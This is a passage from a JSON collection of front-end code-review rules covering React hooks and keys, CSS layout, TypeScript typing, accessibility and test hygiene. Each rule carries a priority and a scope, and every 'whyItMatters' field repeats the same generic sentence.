bundle and harms accessibility; remove it from the render tree (keep the source if you'll reuse it) instead of leaving it present but invisible.","apiRule":"Hiding a component with display:none still ships it in the bundle and harms accessibility; remove it from the render tree (keep the source if you'll reuse it) instead of leaving it present but invisible. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"When visually hiding an interactive element, also block interaction","rule":"opacity: 0 alone leaves an element clickable and present for screen readers/SEO; add pointer-events: none and visibility: hidden (or remove from DOM) when truly hiding it.","apiRule":"opacity: 0 alone leaves an element clickable and present for screen readers/SEO; add pointer-events: none and visibility: hidden (or remove from DOM) when truly hiding it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid magic spacing values; use layout properties that adapt","rule":"Don't pin elements with hardcoded paddings/offsets that break when surrounding sizes change; prefer flexbox alignment, percentages, or anchoring (right: 0) so layout stays correct when paddings or container sizes change.","apiRule":"Don't pin elements with hardcoded paddings/offsets that break when surrounding sizes change; prefer flexbox alignment, percentages, or anchoring (right: 0) so layout stays correct when paddings or container sizes change. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Style component variants via props, not by overriding default styles","rule":"Keep shared/dumb components style-agnostic; pass a customClass prop for variant styling instead of mutating the component's default styles based on a tag/flag, which creates a styling mess across all usages.","apiRule":"Keep shared/dumb components style-agnostic; pass a customClass prop for variant styling instead of mutating the component's default styles based on a tag/flag, which creates a styling mess across all usages. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Rename classes, exports, and methods after copy-pasting a file","rule":"When a new controller/component is created by copying an old one, rename the class, its methods, and asset references to match the new purpose — leftover old names mislead and cause wrong asset wiring.","apiRule":"When a new controller/component is created by copying an old one, rename the class, its methods, and asset references to match the new purpose — leftover old names mislead and cause wrong asset wiring. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't bake server-side 'now' into cacheable rendered output","rule":"Computing a time-dependent value (new Date()) on the server and rendering it makes the cached HTML stale; pass time as a URL/query param or fetch from the client instead.","apiRule":"Computing a time-dependent value (new Date()) on the server and rendering it makes the cached HTML stale; pass time as a URL/query param or fetch from the client instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer explicit named props over spreading a grab-bag object into a child","rule":"Spreading {...{a, b, c}} into a child is fine only when forwarding the whole parent props; otherwise list each prop explicitly for readability and so the reader sees exactly what the child receives.","apiRule":"Spreading {...{a, b, c}} into a child is fine only when forwarding the whole parent props; otherwise list each prop explicitly for readability and so the reader sees exactly what the child receives. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Split a component in two when variants share almost nothing","rule":"If a component branches heavily on a variant flag and the branches share only a sliver of logic, two focused components are easier to read and use than one with internal if/else.","apiRule":"If a component branches heavily on a variant flag and the branches share only a sliver of logic, two focused components are easier to read and use than one with internal if/else. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Make switch/case over a union exhaustive with a never guard","rule":"Require the discriminant type (e.g. an enum) to be non-optional, handle every case, and route the default to a function typed (x: never) so adding a new case becomes a compile error.","apiRule":"Require the discriminant type (e.g. an enum) to be non-optional, handle every case, and route the default to a function typed (x: never) so adding a new case becomes a compile error. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Prefer default parameter values over internal fallbacks","rule":"Express an optional argument's fallback with a default parameter; it's clearer than reassigning inside the body and avoids the falsy-zero bug where a valid 0 gets replaced by the fallback.","apiRule":"Express an optional argument's fallback with a default parameter; it's clearer than reassigning inside the body and avoids the falsy-zero bug where a valid 0 gets replaced by the fallback. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Break long lines and class expressions across multiple lines","rule":"When a JSX tag or className string exceeds the line-length limit, put each attribute or chained step on its own line or extract a variable; don't rely on the linter to have missed it.","apiRule":"When a JSX tag or className string exceeds the line-length limit, put each attribute or chained step on its own line or extract a variable; don't rely on the linter to have missed it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Refactor instead of suppressing lint with disable comments","rule":"Prefer extracting JSX/logic into a named function or component over sprinkling lint-disable comments (jsx-no-multiline-js, max-line-length, no-important); a disable comment is the last resort, not the fix.","apiRule":"Prefer extracting JSX/logic into a named function or component over sprinkling lint-disable comments (jsx-no-multiline-js, max-line-length, no-important); a disable comment is the last resort, not the fix. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Always provide a stable key when rendering lists","rule":"Every element produced by a map (and each top-level node of a fragment in a list) needs a key, otherwise React logs missing-key warnings and may mis-reconcile.","apiRule":"Every element produced by a map (and each top-level node of a fragment in a list) needs a key, otherwise React logs missing-key warnings and may mis-reconcile. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Never call a hook inside a function invoked conditionally in render","rule":"Calling a hook (useTranslation, useState) inside a plain render-helper function that is rendered conditionally changes the hook count between renders and throws 'Rendered fewer hooks than expected'. Make it a component or move the hook to the top level.","apiRule":"Calling a hook (useTranslation, useState) inside a plain render-helper function that is rendered conditionally changes the hook count between renders and throws 'Rendered fewer hooks than expected'. Make it a component or move the hook to the top level. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Set page metadata server-side for SEO","rule":"Emit title/meta and important markup from the controller/server render (conditionally per route) so crawlers see it, rather than only client-side.","apiRule":"Emit title/meta and important markup from the controller/server render (conditionally per route) so crawlers see it, rather than only client-side. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep only the mocks a test actually consumes","rule":"Drop unused HTTP mocks/nocks that never get matched; leave only the ones the test exercises so 'not done' warnings disappear and intent is clear.","apiRule":"Drop unused HTTP mocks/nocks that never get matched; leave only the ones the test exercises so 'not done' warnings disappear and intent is clear. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Update test expectations to the real values, not stale ones","rule":"When an assertion fails because the expected constant drifted, fix the expectation to match the verified actual output rather than leaving it stale.","apiRule":"When an assertion fails because the expected constant drifted, fix the expectation to match the verified actual output rather than leaving it stale. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the shared responsive Image component for images","rule":"Render images through the project's Image component (retina detection, per-breakpoint sizes) instead of raw background-image or img tags.","apiRule":"Render images through the project's Image component (retina detection, per-breakpoint sizes) instead of raw background-image or img tags. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Coerce with toString and type the param, instead of any","rule":"When a function may receive non-string input, call toString and type the parameter as string rather than widening it to any.","apiRule":"When a function may receive non-string input, call toString and type the parameter as string rather than widening it to any. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Style a unique element directly, skip extra wrapper classes","rule":"If there's only one matching element, target it directly rather than adding a nested class purely to scope styles.","apiRule":"If there's only one matching element, target it directly rather than adding a nested class purely to scope styles. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't double-await an already-awaited value","rule":"Await a promise once and reuse the result; re-awaiting an already-resolved value is redundant and confuses readers.","apiRule":"Await a promise once and reuse the result; re-awaiting an already-resolved value is redundant and confuses readers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compare keyboard events by named keys, not codes","rule":"Use event.key with readable names (ArrowUp, Enter) rather than numeric keyCodes/indices for clearer keyboard handling.","apiRule":"Use event.key with readable names (ArrowUp, Enter) rather than numeric keyCodes/indices for clearer keyboard handling. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Transliterate special characters in slugs, don't drop them","rule":"When building URL slugs from names, replace national/diacritic characters with ASCII equivalents instead of deleting them, to preserve meaning and search.","apiRule":"When building URL slugs from names, replace national/diacritic characters with ASCII equivalents instead of deleting them, to preserve meaning and search. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use HH:mm, not kk:mm, for 24-hour time","rule":"The kk token renders midnight as 24:00; use HH for a 00-23 hour to avoid timestamps like 24:45.","apiRule":"The kk token renders midnight as 24:00; use HH for a 00-23 hour to avoid timestamps like 24:45. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Make the whole clickable area the interactive element","rule":"Wrap the entire card/container in the <button> or <a> so the full surface is clickable, instead of a small inner control.","apiRule":"Wrap the entire card/container in the <button> or <a> so the full surface is clickable, instead of a small inner control. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Group link pseudo-states instead of using !important","rule":"Set color once across &, :active, :focus, :hover, :visited rather than forcing it with !important, which is hard to override later.","apiRule":"Set color once across &, :active, :focus, :hover, :visited rather than forcing it with !important, which is hard to override later. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Uppercase text with CSS, not capitalized literals","rule":"Use text-transform: uppercase in styles instead of typing all-caps strings in markup, so the source text stays readable and translatable.","apiRule":"Use text-transform: uppercase in styles instead of typing all-caps strings in markup, so the source text stays readable and translatable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Deduplicate by id when merging collections","rule":"When concatenating fetched batches, skip items whose id is already present so React keys stay unique and content isn't doubled.","apiRule":"When concatenating fetched batches, skip items whose id is already present so React keys stay unique and content isn't doubled. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid zero-delay setInterval/setTimeout","rule":"A 0ms interval busy-loops the event loop; use a sensible delay or a different mechanism (rAF, IntersectionObserver) instead.","apiRule":"A 0ms interval busy-loops the event loop; use a sensible delay or a different mechanism (rAF, IntersectionObserver) instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use forEach for side effects, map for transformations","rule":"When iterating purely for side effects, use forEach (or for-of); reserve map for building a new array from returned values.","apiRule":"When iterating purely for side effects, use forEach (or for-of); reserve map for building a new array from returned values. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Fix conditions whose first operand is always truthy","rule":"Inspect compound conditions where a leading value can never be falsy; the check is dead and likely the wrong variable was meant.","apiRule":"Inspect compound conditions where a leading value can never be falsy; the check is dead and likely the wrong variable was meant. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Drop unused generic state argument on components","rule":"If a class component has no state, type it with just its props (Component<IProps>) and remove the empty state type parameter.","apiRule":"If a class component has no state, type it with just its props (Component<IProps>) and remove the empty state type parameter. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Define storage keys centrally with unique names","rule":"Keep localStorage keys in one constants module with descriptive, collision-proof names rather than scattering string literals.","apiRule":"Keep localStorage keys in one constants module with descriptive, collision-proof names rather than scattering string literals. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard conditional class strings against falsy leakage","rule":"A `cond && styles.x` inside a template renders 'false' when cond is falsy; use a ternary returning '' so no stray token lands in className.","apiRule":"A `cond && styles.x` inside a template renders 'false' when cond is falsy; use a ternary returning '' so no stray token lands in className. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use max-height for lists whose item count varies","rule":"For dropdowns/autocomplete that may show fewer items than the maximum, cap with max-height so short lists don't leave empty space.","apiRule":"For dropdowns/autocomplete that may show fewer items than the maximum, cap with max-height so short lists don't leave empty space. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set related state in one call to avoid double renders","rule":"Combine fields that change together into a single setState so the component re-renders once instead of twice in a row.","apiRule":"Combine fields that change together into a single setState so the component re-renders once instead of twice in a row. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Convert string inputs to numbers before numeric comparison","rule":"Parse string fields (form values, query params, API text) to numbers before doing arithmetic or comparisons to avoid lexicographic bugs.","apiRule":"Parse string fields (form values, query params, API text) to numbers before doing arithmetic or comparisons to avoid lexicographic bugs. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't coerce a value that is already a number","rule":"Drop a leading unary + (or Number()) on a value that is already numeric; it's noise and can hide a type confusion.","apiRule":"Drop a leading unary + (or Number()) on a value that is already numeric; it's noise and can hide a type confusion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Derive a subset by filtering, not by re-listing items","rule":"To exclude some items, filter the existing collection against the exclusion set rather than retyping the kept items by hand.","apiRule":"To exclude some items, filter the existing collection against the exclusion set rather than retyping the kept items by hand. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Attach custom request data to a custom field, not framework slots","rule":"Put your own derived values on a dedicated property (req.appContext) rather than req.params/req.query, which are reserved for external request input.","apiRule":"Put your own derived values on a dedicated property (req.appContext) rather than req.params/req.query, which are reserved for external request input. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Never call setState during render","rule":"Deriving state from props inside render causes re-render loops and warnings; move it to getDerivedStateFromProps or componentDidUpdate (or compute inline).","apiRule":"Deriving state from props inside render causes re-render loops and warnings; move it to getDerivedStateFromProps or componentDidUpdate (or compute inline). Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Spread the base object before keys you intend to override","rule":"Place a spread first so explicit keys after it win; if the spread comes last it overwrites your intended overrides.","apiRule":"Place a spread first so explicit keys after it win; if the spread comes last it overwrites your intended overrides. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Link label and input via matching htmlFor and id","rule":"Set htmlFor on the label to the same value as the input's id so clicking the label focuses the control (accessibility).","apiRule":"Set htmlFor on the label to the same value as the input's id so clicking the label focuses the control (accessibility). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Rely on a switch default instead of a redundant existence check","rule":"If a mapping function already returns a fallback via its default case, callers don't need to null-check the input before calling it.","apiRule":"If a mapping function already returns a fallback via its default case, callers don't need to null-check the input before calling it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Combine multiple imports from the same module","rule":"Merge separate import statements that pull from the same module into a single import line.","apiRule":"Merge separate import statements that pull from the same module into a single import line. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Transition specific properties, never transition: all","rule":"List the exact properties to animate in a CSS transition instead of `all`, which animates unintended properties and hurts performance.","apiRule":"List the exact properties to animate in a CSS transition instead of `all`, which animates unintended properties and hurts performance. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Put React key only on elements rendered in a list","rule":"A key prop is only meaningful on the top-level element produced inside a .map; a standalone element rendered once doesn't need one.","apiRule":"A key prop is only meaningful on the top-level element produced inside a .map; a standalone element rendered once doesn't need one. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Gate decorative UI behind the specific condition it belongs to","rule":"Show a layout-specific decoration (e.g. a play icon) only when both the position AND the relevant type match, not for every variant.","apiRule":"Show a layout-specific decoration (e.g. a play icon) only when both the position AND the relevant type match, not for every variant. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Remove unused CSS classes and style files","rule":"Delete CSS/SCSS rules and whole stylesheet files that no component references; dead styles are pure maintenance debt.","apiRule":"Delete CSS/SCSS rules and whole stylesheet files that no component references; dead styles are pure maintenance debt. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Add the required tracking attributes to interactive elements","rule":"Interactive elements that feed analytics need their tracking attributes/labels (data-ga-action, gaLabel) set explicitly so events aren't attributed to a wrong default.","apiRule":"Interactive elements that feed analytics need their tracking attributes/labels (data-ga-action, gaLabel) set explicitly so events aren't attributed to a wrong default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Don't wrap plain display strings in unnecessary helper calls","rule":"Pass plain labels directly; don't route a literal through a translation/link helper that isn't meant for it, producing values like `link('Text')` instead of `Text`.","apiRule":"Pass plain labels directly; don't route a literal through a translation/link helper that isn't meant for it, producing values like `link('Text')` instead of `Text`. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compare the correct prop in componentDidUpdate","rule":"In update lifecycle/effect comparisons, compare against the previous value of the specific field you care about (prevProps.x), not an unrelated one.","apiRule":"In update lifecycle/effect comparisons, compare against the previous value of the specific field you care about (prevProps.x), not an unrelated one. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Express conditional handling as a stream operator, not a nested if","rule":"When working with observable streams, model a condition as a filter/operator in the pipeline rather than wrapping the subscriber body in an if.","apiRule":"When working with observable streams, model a condition as a filter/operator in the pipeline rather than wrapping the subscriber body in an if. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Destructure props consistently within a component","rule":"Destructure props at the top of render (or consistently across methods) rather than mixing destructured access in some methods and this.props.x in others.","apiRule":"Destructure props at the top of render (or consistently across methods) rather than mixing destructured access in some methods and this.props.x in others. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Pass the original image URL when a downstream resizer handles sizing","rule":"If images are resized later by a proxy/service, pass the original full-size URL rather than picking a pre-baked size variant.","apiRule":"If images are resized later by a proxy/service, pass the original full-size URL rather than picking a pre-baked size variant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Reuse a generic controller instead of adding a redundant one","rule":"Before adding a new controller, check whether an existing generic controller/config-driven setup already provides what you need, to avoid duplicate plumbing.","apiRule":"Before adding a new controller, check whether an existing generic controller/config-driven setup already provides what you need, to avoid duplicate plumbing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reuse the shared layout to inherit cross-cutting features","rule":"Build new pages on the existing shared Layout (passing variations as props/children) so they automatically get ads, A/B tests, and other cross-cutting concerns instead of duplicating a bespoke layout.","apiRule":"Build new pages on the existing shared Layout (passing variations as props/children) so they automatically get ads, A/B tests, and other cross-cutting concerns instead of duplicating a bespoke layout. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"project-specific"},{"title":"Keep distinct UI concepts in distinct render methods","rule":"Don't fold a separate concept (e.g. a description) into a method meant for another (e.g. generateDetails/generateDescription); render distinct concepts separately so styling and ordering stay independent.","apiRule":"Don't fold a separate concept (e.g. a description) into a method meant for another (e.g. generateDetails/generateDescription); render distinct concepts separately so styling and ordering stay independent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract non-trivial component logic into testable functions","rule":"Pull formatting/derivation logic out of components into standalone functions so it can be unit-tested directly, and add tests for the variants that matter.","apiRule":"Pull formatting/derivation logic out of components into standalone functions so it can be unit-tested directly, and add tests for the variants that matter. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Handle empty query and empty results in search UIs","rule":"When clearing a search input, ensure results close (check query length, not just hasData), and show an explicit message plus a loading indicator while a search is in progress.","apiRule":"When clearing a search input, ensure results close (check query length, not just hasData), and show an explicit message plus a loading indicator while a search is in progress. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Request only as much data as you actually display","rule":"Set query limits to what the UI needs; don't fetch far more rows (limit: 100) than the page shows (e.g. 10) by default.","apiRule":"Set query limits to what the UI needs; don't fetch far more rows (limit: 100) than the page shows (e.g. 10) by default. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad 